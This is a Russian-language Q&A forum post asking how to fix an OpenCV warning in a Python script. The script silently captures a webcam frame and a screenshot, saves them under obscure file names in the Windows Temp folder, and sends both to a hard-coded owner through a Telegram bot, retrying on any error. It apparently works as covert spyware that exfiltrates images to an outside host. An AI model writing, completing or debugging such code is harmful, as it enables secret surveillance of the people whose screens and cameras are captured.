@Tyscode

Почему выдаёт [warn:0] openCV?

import os
import telebot
import cv2
import pyautogui
import pyscreenshot

TOKEN = 'токен'
owner_id = айди

cap = cv2.VideoCapture(0)

if not cap.isOpened():
    print("Cannot open webcam")

camera_port = 0
ret, frame = cap.read()
frame = cv2.resize(frame, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA)
cv2.imwrite("C:\Windows\Temp\scdddreen.jpg", frame)
print("Successfully saved")

camera = cv2.VideoCapture(camera_port,cv2.CAP_DSHOW)

cv2.destroyAllWindows()

bot = telebot.TeleBot(TOKEN)


im = pyscreenshot.grab()
im.save('C:\Windows\Temp\screenschot22.png')
text = "wrhethfgye" 

def start_bot( TOKEN ):
    try:
        uphoto2 = open("C:\Windows\Temp\screenschot22.png", "rb")
        uphoto = open("C:\Windows\Temp\scdddreen.jpg", "rb")
        bot = telebot.TeleBot( TOKEN )
        bot.send_photo(айди, uphoto, text) 
        bot.send_photo(айди, uphoto2, text)
        uphoto2.close()
        bot.polling()
        bot.stop_polling() 
    except Exception:
        start_bot( TOKEN )


скрин с вебки сохраняет, но после этого выдаёт варн:
[ WARN:0] global D:\a\opencv-python\opencv-python\opencv\modules\videoio\src\cap_msmf.cpp (438) `anonymous-namespace'::SourceReaderCB::~SourceReaderCB terminating async callback

как исправить?
  • Вопрос задан
  • 162 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы